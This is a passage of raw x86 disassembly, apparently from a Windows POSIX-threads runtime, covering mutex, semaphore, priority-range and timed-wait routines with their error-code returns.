eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010AF mov edi, eax add esp, 4 test edi, edi jz short loc_42D7CD push esi call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D7CD: ; CODE XREF: _294ADE7B:0042D77Aj ; _294ADE7B:0042D7BCj push esi call sub_4010AF add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D7DA: ; CODE XREF: _294ADE7B:0042D729j ; _294ADE7B:0042D733j ... mov eax, 16h loc_42D7DF: ; CODE XREF: _294ADE7B:0042D74Ej ; _294ADE7B:0042D76Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D830: ; CODE XREF: _294ADE7B:00401E79j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_42D911 mov eax, [esi] test eax, eax jz loc_42D911 cmp eax, 0FFFFFFFFh jnz short loc_42D864 push esi call sub_401794 add esp, 4 test eax, eax jz short loc_42D864 cmp eax, 10h jnz loc_42D916 loc_42D864: ; CODE XREF: _294ADE7B:0042D84Cj ; _294ADE7B:0042D859j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_42D911 push esi call sub_4016DB add esp, 4 test eax, eax jnz loc_42D916 lea ebx, [esi+4] push ebx call sub_4016DB mov edi, eax add esp, 4 test edi, edi jz short loc_42D8A9 push esi call sub_4010AF add esp, 4 test eax, eax jnz short loc_42D916 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D8A9: ; CODE XREF: _294ADE7B:0042D894j mov eax, [esi+10h] test eax, eax jnz short loc_42D8F9 mov eax, [esi+14h] test eax, eax jle short loc_42D8C6 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_42D8C6: ; CODE XREF: _294ADE7B:0042D8B5j mov eax, [esi+0Ch] test eax, eax jle short loc_42D904 push ebx call sub_4010AF add esp, 4 mov edi, eax test edi, edi push esi jz short loc_42D8EB call sub_4010AF add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D8EB: ; CODE XREF: _294ADE7B:0042D8DBj call sub_4010AF mov edi, eax add esp, 4 test edi, edi jnz short loc_42D8FE loc_42D8F9: ; CODE XREF: _294ADE7B:0042D8AEj mov edi, 10h loc_42D8FE: ; CODE XREF: _294ADE7B:0042D8F7j mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D904: ; CODE XREF: _294ADE7B:0042D8CBj mov eax, edi mov dword ptr [esi+10h], 1 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42D911: ; CODE XREF: _294ADE7B:0042D839j ; _294ADE7B:0042D843j ... mov eax, 16h loc_42D916: ; CODE XREF: _294ADE7B:0042D85Ej ; _294ADE7B:0042D87Ej ... pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D960: ; CODE XREF: _294ADE7B:00401AF5j mov eax, [esp+4] push eax call sub_401280 add esp, 4 test eax, eax jz short loc_42D977 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42D977: ; CODE XREF: _294ADE7B:0042D96Fj mov eax, [esp+8] neg eax sbb eax, eax and eax, 30h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D9A0: ; CODE XREF: _294ADE7B:00401D61j mov eax, [esp+4] push eax call sub_401280 add esp, 4 test eax, eax jnz short loc_42D9C7 mov eax, [esp+8] test eax, eax jz short loc_42D9C7 cmp eax, 2 jbe short loc_42D9C7 mov dword ptr [eax], 0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_42D9C7: ; CODE XREF: _294ADE7B:0042D9AFj ; _294ADE7B:0042D9B7j ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42D9E0: ; CODE XREF: _294ADE7B:00401159j push ebx mov ebx, [esp+8] push esi push edi push ebx call sub_401280 add esp, 4 test eax, eax jnz short loc_42DA26 mov edi, [esp+14h] test edi, edi jz short loc_42DA26 mov esi, [edi] push eax call sub_4014E2 add esp, 4 cmp esi, eax jl short loc_42DA26 push 0 call sub_4013E3 add esp, 4 cmp esi, eax jg short loc_42DA26 mov eax, [ebx] mov ecx, [edi] pop edi pop esi mov [eax+10h], ecx xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42DA26: ; CODE XREF: _294ADE7B:0042D9F2j ; _294ADE7B:0042D9FAj ... pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA50: ; CODE XREF: _294ADE7B:00401DA2j push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jnz short loc_42DA75 mov eax, [esp+0Ch] test eax, eax jz short loc_42DA75 mov ecx, [esi] pop esi mov edx, [ecx+10h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42DA75: ; CODE XREF: _294ADE7B:0042DA60j ; _294ADE7B:0042DA68j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DA90: ; CODE XREF: _294ADE7B:00401541j push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jz short loc_42DAA9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42DAA9: ; CODE XREF: _294ADE7B:0042DAA0j mov eax, [esp+0Ch] test eax, eax jz short loc_42DABD cmp eax, 1 jz short loc_42DABD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42DABD: ; CODE XREF: _294ADE7B:0042DAAFj ; _294ADE7B:0042DAB4j mov ecx, [esi] pop esi mov [ecx+14h], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DAE0: ; CODE XREF: _294ADE7B:00401901j push esi mov esi, [esp+8] push esi call sub_401280 add esp, 4 test eax, eax jnz short loc_42DB05 mov eax, [esp+0Ch] test eax, eax jz short loc_42DB05 mov ecx, [esi] pop esi mov edx, [ecx+14h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42DB05: ; CODE XREF: _294ADE7B:0042DAF0j ; _294ADE7B:0042DAF8j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DB20 proc near ; CODE XREF: sub_40104Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_4016B3 add esp, 8 test eax, eax jnz short loc_42DB65 mov eax, [esp+4+arg_4] test eax, eax jl short loc_42DB60 cmp eax, 2 jg short loc_42DB60 test eax, eax jz short loc_42DB4C mov eax, 30h pop esi retn ; --------------------------------------------------------------------------- loc_42DB4C: ; CODE XREF: sub_42DB20+23j mov eax, [esp+4+arg_8] mov ecx, [eax] push ecx push 0 push esi call sub_401F3C add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_42DB60: ; CODE XREF: sub_42DB20+1Aj ; sub_42DB20+1Fj mov eax, 16h loc_42DB65: ; CODE XREF: sub_42DB20+12j pop esi retn sub_42DB20 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DB90 proc near ; CODE XREF: sub_401F3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi mov edi, [esp+8+arg_4] push edi mov [esp+0Ch+arg_8], esi call sub_4014E2 add esp, 4 cmp esi, eax jl loc_42DC35 push edi call sub_4013E3 add esp, 4 cmp esi, eax jg short loc_42DC35 cmp esi, 0FFFFFFF1h jle short loc_42DBD0 cmp esi, 0FFFFFFFEh jge short loc_42DBD0 mov [esp+8+arg_8], 0FFFFFFFEh jmp short loc_42DBE2 ; --------------------------------------------------------------------------- loc_42DBD0: ; CODE XREF: sub_42DB90+2Fj ; sub_42DB90+34j cmp esi, 0Fh jge short loc_42DBE2 cmp esi, 2 jle short loc_42DBE2 mov [esp+8+arg_8], 2 loc_42DBE2: ; CODE XREF: sub_42DB90+3Ej ; sub_42DB90+43j ... mov edi, [esp+8+arg_0] push ebx push ebp lea ebp, [edi+24h] push ebp call sub_40208B mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42DC2E mov eax, [esp+10h+arg_8] mov ecx, [edi+4] push eax push ecx call ds:dword_4B380C test eax, eax jnz short loc_42DC22 push ebp mov ebx, 16h call sub_4010AF add esp, 4 mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DC22: ; CODE XREF: sub_42DB90+7Bj push ebp mov [edi+28h], esi call sub_4010AF add esp, 4 loc_42DC2E: ; CODE XREF: sub_42DB90+68j mov eax, ebx pop ebp pop ebx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DC35: ; CODE XREF: sub_42DB90+19j ; sub_42DB90+2Aj pop edi mov eax, 16h pop esi retn sub_42DB90 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402004j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push 0 push esi call sub_4016B3 add esp, 8 test eax, eax jnz short loc_42DCA9 mov ecx, [esp+4+arg_4] cmp ecx, 2 jbe short loc_42DCA4 mov eax, [esp+4+arg_8] test eax, eax jz short loc_42DCA4 mov dword ptr [ecx], 0 mov ecx, [esi+28h] mov [eax], ecx xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCA4: ; CODE XREF: sub_42DC70+1Bj ; sub_42DC70+23j mov eax, 16h loc_42DCA9: ; CODE XREF: sub_42DC70+12j pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DCC0 proc near ; CODE XREF: sub_4013E3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_42DCD3 cmp eax, 2 jg short loc_42DCD3 mov eax, 0Fh retn ; --------------------------------------------------------------------------- loc_42DCD3: ; CODE XREF: sub_42DCC0+6j ; sub_42DCC0+Bj call ds:dword_4B3A50 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_42DCC0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD00 proc near ; CODE XREF: sub_4014E2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jl short loc_42DD13 cmp eax, 2 jg short loc_42DD13 mov eax, 0FFFFFFF1h retn ; --------------------------------------------------------------------------- loc_42DD13: ; CODE XREF: sub_42DD00+6j ; sub_42DD00+Bj call ds:dword_4B3A50 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_42DD00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DD40: ; CODE XREF: _294ADE7B:004019E7j push esi mov esi, [esp+8] test esi, esi jz short loc_42DD85 call ds:dword_4B3808 cmp esi, eax jz short loc_42DD85 push esi push 0 push 200h call ds:dword_4B387C test eax, eax jnz short loc_42DD85 call ds:dword_4B3898 mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DD85: ; CODE XREF: _294ADE7B:0042DD47j ; _294ADE7B:0042DD51j ... mov eax, [esp+0Ch] test eax, eax jz short loc_42DD9E call ds:dword_4B3A50 mov dword ptr [eax], 28h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DD9E: ; CODE XREF: _294ADE7B:0042DD8Bj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DDD0: ; CODE XREF: _294ADE7B:004014A6j push esi mov esi, [esp+8] test esi, esi jz short loc_42DE15 call ds:dword_4B3808 cmp esi, eax jz short loc_42DE15 push esi push 0 push 400h call ds:dword_4B387C test eax, eax jnz short loc_42DE15 call ds:dword_4B3898 mov esi, eax sub esi, 5 neg esi sbb esi, esi and esi, 2 inc esi call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DE15: ; CODE XREF: _294ADE7B:0042DDD7j ; _294ADE7B:0042DDE1j ... xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42DE40: ; CODE XREF: _294ADE7B:00401A55j push 0 call ds:dword_4B38CC xor eax, eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE60 proc near ; CODE XREF: sub_401B59j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi xor edi, edi test eax, eax jz short loc_42DE7F mov edi, 1 call ds:dword_4B3A50 mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DE7F: ; CODE XREF: sub_42DE60+Aj push 4 push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42DE97 mov edi, 0Ch loc_42DE97: ; CODE XREF: sub_42DE60+30j mov eax, [esp+8+arg_8] push 0 push 3FFFFFFFh push eax push 0 call ds:dword_4B3804 test eax, eax mov [esi], eax jnz short loc_42DEC4 mov edi, 1Ch call ds:dword_4B3A50 mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DEC4: ; CODE XREF: sub_42DE60+4Fj test edi, edi jz short loc_42DED6 call ds:dword_4B3A50 mov [eax], edi pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DED6: ; CODE XREF: sub_42DE60+66j mov ecx, [esp+8+arg_0] pop edi xor eax, eax mov [ecx], esi pop esi retn sub_42DE60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF20 proc near ; CODE XREF: sub_4015FAj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] test edi, edi jz short loc_42DF45 mov esi, [edi] test esi, esi jz short loc_42DF45 mov dword ptr [edi], 0 mov eax, [esi] push eax call ds:dword_4B38C8 test eax, eax jnz short loc_42DF57 mov [edi], esi loc_42DF45: ; CODE XREF: sub_42DF20+8j ; sub_42DF20+Ej call ds:dword_4B3A50 mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DF57: ; CODE XREF: sub_42DF20+21j push esi call ds:dword_4B3AAC add esp, 4 xor eax, eax pop edi pop esi retn sub_42DF20 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DF90 proc near ; CODE XREF: sub_401096j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_42DFC3 mov eax, [eax] test eax, eax jz short loc_42DFC3 mov eax, [eax] push 0 push eax call ds:dword_4B3848 cmp eax, 102h jnz short loc_42DFD5 mov esi, 0Bh call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DFC3: ; CODE XREF: sub_42DF90+7j ; sub_42DF90+Dj mov esi, 16h call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42DFD5: ; CODE XREF: sub_42DF90+1Fj xor eax, eax pop esi retn sub_42DF90 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E000 proc near ; CODE XREF: sub_40103Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi test eax, eax jz short loc_42E02D mov eax, [eax] test eax, eax jz short loc_42E02D mov eax, [eax] push eax call sub_4015BE mov esi, eax add esp, 4 test esi, esi jz short loc_42E03F call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42E02D: ; CODE XREF: sub_42E000+7j ; sub_42E000+Dj mov esi, 16h call ds:dword_4B3A50 mov [eax], esi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_42E03F: ; CODE XREF: sub_42E000+1Ej xor eax, eax pop esi retn sub_42E000 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E070 proc near ; CODE XREF: sub_4017CBj var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push ebp mov ebp, [esp+10h+arg_0] test ebp, ebp push esi jnz short loc_42E093 mov esi, 16h call ds:dword_4B3A50 mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42E093: ; CODE XREF: sub_42E070+Bj push ebx push edi mov edi, [esp+1Ch+arg_4] test edi, edi jnz short loc_42E0A2 or ebx, 0FFFFFFFFh jmp short loc_42E100 ; --------------------------------------------------------------------------- loc_42E0A2: ; CODE XREF: sub_42E070+2Bj lea eax, [esp+1Ch+var_C] xor ebx, ebx push eax call sub_4305A6 mov ecx, [edi] mov esi, [esp+20h+var_C] add esp, 4 cmp ecx, esi jl short loc_42E100 mov edx, [edi+4] mov eax, 431BDE83h add edx, 7A120h mul edx lea eax, [ecx+ecx*4] lea ecx, [esi+esi*4] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] sub eax, ecx mov ecx, [esp+1Ch+var_8] and ecx, 0FFFFh cmp eax, ecx jbe short loc_42E100 sub eax, ecx mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_42E100 dec ebx loc_42E100: ; CODE XREF: sub_42E070+30j ; sub_42E070+49j ... mov edx, [ebp+0] push ebx mov eax, [edx] push eax call sub_401C49 add esp, 8 mov esi, eax test esi, esi pop edi pop ebx jz short loc_42E128 call ds:dword_4B3A50 mov [eax], esi pop esi or eax, 0FFFFFFFFh pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_42E128: ; CODE XREF: sub_42E070+A5j pop esi xor eax, eax pop ebp add esp, 0Ch retn sub_42E070 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E160 proc near ; CODE XREF: sub_401037j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_42E17F mov eax, [eax] test eax, eax jz short loc_42E17F mov eax, [eax] push 0 push 1 push eax call ds:dword_4B3800 test eax, eax jnz short loc_42E18F loc_42E17F: ; CODE XREF: sub_42E160+6j ; sub_42E160+Cj call ds:dword_4B3A50 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_42E18F: ; CODE XREF: sub_42E160+1Dj xor eax, eax retn sub_42E160 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E1B0 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] test eax, eax jz short loc_42E1D6 mov eax, [eax] test eax, eax jz short loc_42E1D6 mov ecx, [esp+arg_4] test ecx, ecx jle short loc_42E1D6 mov eax, [eax] push 0 push ecx push eax call ds:dword_4B3800 test eax, eax jnz short loc_42E1E6 loc_42E1D6: ; CODE XREF: sub_42E1B0+6j ; sub_42E1B0+Cj ... call ds:dword_4B3A50 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_42E1E6: ; CODE XREF: sub_42E1B0+24j xor eax, eax retn sub_42E1B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E200: ; CODE XREF: _294ADE7B:004013DEj mov eax, [esp+4] push esi test eax, eax push edi jz short loc_42E24D mov esi, [eax] test esi, esi jz short loc_42E24D mov edi, [esp+10h] test edi, edi jz short loc_42E24D mov eax, [esi] push 0 push eax call ds:dword_4B3848 cmp eax, 102h jnz short loc_42E231 xor eax, eax mov [edi], eax pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E231: ; CODE XREF: _294ADE7B:0042E228j mov edx, [esi] lea ecx, [esp+0Ch] push ecx push 1 push edx call ds:dword_4B3800 mov eax, [esp+0Ch] inc eax mov [edi], eax pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42E24D: ; CODE XREF: _294ADE7B:0042E208j ; _294ADE7B:0042E20Ej ... call ds:dword_4B3A50 mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E280: ; CODE XREF: _294ADE7B:00402072j call ds:dword_4B3A50 mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: _294ADE7B:00401EB0j call ds:dword_4B3A50 mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2C0: ; CODE XREF: _294ADE7B:00401B90j call ds:dword_4B3A50 mov dword ptr [eax], 28h or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E2E0 proc near ; CODE XREF: sub_4018B6j arg_0 = dword ptr 4 push esi push offset dword_4B27A0 xor esi, esi call ds:dword_4B3868 mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42E314 push esi push ecx call sub_402054 add esp, 8 mov esi, eax push offset dword_4B27A0 call ds:dword_4B386C mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42E314: ; CODE XREF: sub_42E2E0+17j test eax, eax jnz short loc_42E31D mov esi, 16h loc_42E31D: ; CODE XREF: sub_42E2E0+36j push offset dword_4B27A0 call ds:dword_4B386C mov eax, esi pop esi retn sub_42E2E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E350 proc near ; CODE XREF: sub_402054j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp mov ebp, [esp+0Ch+arg_0] push esi push edi xor edi, edi cmp ebp, edi mov [esp+14h+var_4], edi jnz short loc_42E36E pop edi pop esi pop ebp mov eax, 16h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E36E: ; CODE XREF: sub_42E350+11j lea eax, [esp+14h+var_4] push eax call sub_401B13 mov ebx, [esp+18h+arg_4] add esp, 4 test eax, eax jz short loc_42E3A9 mov [esp+14h+var_4], 1 loc_42E38B: ; CODE XREF: sub_42E350+5Ej ; sub_42E350+63j push 8 push 1 call ds:dword_4B3A64 mov esi, eax add esp, 8 test esi, esi jnz short loc_42E3C0 pop edi pop esi pop ebp mov eax, 0Ch pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E3A9: ; CODE XREF: sub_42E350+31j cmp [esp+14h+var_4], 1 jle short loc_42E38B cmp ebx, 1 jnz short loc_42E38B pop edi pop esi pop ebp mov eax, 28h pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E3C0: ; CODE XREF: sub_42E350+4Cj mov eax, [esp+14h+var_4] cmp eax, 1 jle short loc_42E3DD mov [esi+4], eax mov dword ptr [esi], 1 mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E3DD: ; CODE XREF: sub_42E350+77j lea ecx, [esp+14h+arg_0] push ecx call sub_40192E mov edi, eax add esp, 4 test edi, edi jnz short loc_42E413 mov edx, [esp+14h+arg_0] lea eax, [esp+14h+arg_0] lea ecx, [esi+4] push eax push ecx mov [edx], ebx call sub_40200E mov edi, eax add esp, 8 test edi, edi jnz short loc_42E413 mov dword ptr [esi], 3 loc_42E413: ; CODE XREF: sub_42E350+9Ej ; sub_42E350+BBj lea edx, [esp+14h+arg_0] push edx call sub_40109B add esp, 4 test edi, edi jnz short loc_42E42F mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E42F: ; CODE XREF: sub_42E350+D2j push esi call ds:dword_4B3AAC add esp, 4 mov eax, edi mov dword ptr [ebp+0], 0 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E350 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E490: ; CODE XREF: _294ADE7B:004010F0j push ebx push esi push edi mov edi, [esp+10h] xor ebx, ebx test edi, edi jz loc_42E535 mov esi, [edi] test esi, esi jz loc_42E535 cmp esi, 0FFFFFFFFh jz short loc_42E4F8 cmp dword ptr [esi], 3 jnz short loc_42E4DD lea eax, [esi+4] push eax call sub_402090 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42E52F loc_42E4C7: ; CODE XREF: _294ADE7B:0042E4EBj push esi mov dword ptr [edi], 0 call ds:dword_4B3AAC add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42E4DD: ; CODE XREF: _294ADE7B:0042E4B3j push 1 push 0 push esi call ds:dword_4B26F4 cmp eax, 1 jz short loc_42E4C7 mov ebx, 16h pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42E4F8: ; CODE XREF: _294ADE7B:0042E4AEj push offset dword_4B27A0 call ds:dword_4B3868 cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42E51F push offset dword_4B27A0 mov dword ptr [edi], 0 call ds:dword_4B386C pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42E51F: ; CODE XREF: _294ADE7B:0042E506j push offset dword_4B27A0 mov ebx, 10h call ds:dword_4B386C loc_42E52F: ; CODE XREF: _294ADE7B:0042E4C5j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42E535: ; CODE XREF: _294ADE7B:0042E49Bj ; _294ADE7B:0042E4A5j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E570: ; CODE XREF: _294ADE7B:0040202Cj push esi mov esi, [esp+8] test esi, esi jz short loc_42E5D1 mov eax, [esi] test eax, eax jz short loc_42E5D1 cmp eax, 0FFFFFFFFh jnz short loc_42E591 push esi call sub_4018B6 add esp, 4 test eax, eax jnz short loc_42E5D6 loc_42E591: ; CODE XREF: _294ADE7B:0042E582j mov esi, [esi] push 1 push 2 push esi call ds:dword_4B26F4 cmp eax, 2 jnz short loc_42E5B3 loc_42E5A3: ; CODE XREF: _294ADE7B:0042E5B1j push 1 push 2 push esi call ds:dword_4B26F4 cmp eax, 2 jz short loc_42E5A3 loc_42E5B3: ; CODE XREF: _294ADE7B:0042E5A1j mov eax, [esi] cmp eax, 2 jnz short loc_42E5BE xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42E5BE: ; CODE XREF: _294ADE7B:0042E5B8j cmp eax, 3 jnz short loc_42E5D1 add esi, 4 push esi call sub_40208B add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_42E5D1: ; CODE XREF: _294ADE7B:0042E577j ; _294ADE7B:0042E57Dj ... mov eax, 16h loc_42E5D6: ; CODE XREF: _294ADE7B:0042E58Fj pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E600: ; CODE XREF: _294ADE7B:004019C4j mov eax, [esp+4] push esi test eax, eax jz short loc_42E641 mov esi, [eax] test esi, esi jz short loc_42E641 cmp esi, 0FFFFFFFFh jnz short loc_42E61B loc_42E614: ; CODE XREF: _294ADE7B:0042E627j mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42E61B: ; CODE XREF: _294ADE7B:0042E612j push 2 push 1 push esi call ds:dword_4B26F4 dec eax jz short loc_42E614 dec eax jz short loc_42E63D dec eax jnz short loc_42E641 add esi, 4 push esi call sub_4010AF add esp, 4 pop esi retn ; --------------------------------------------------------------------------- loc_42E63D: ; CODE XREF: _294ADE7B:0042E62Aj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42E641: ; CODE XREF: _294ADE7B:0042E607j ; _294ADE7B:0042E60Dj ... 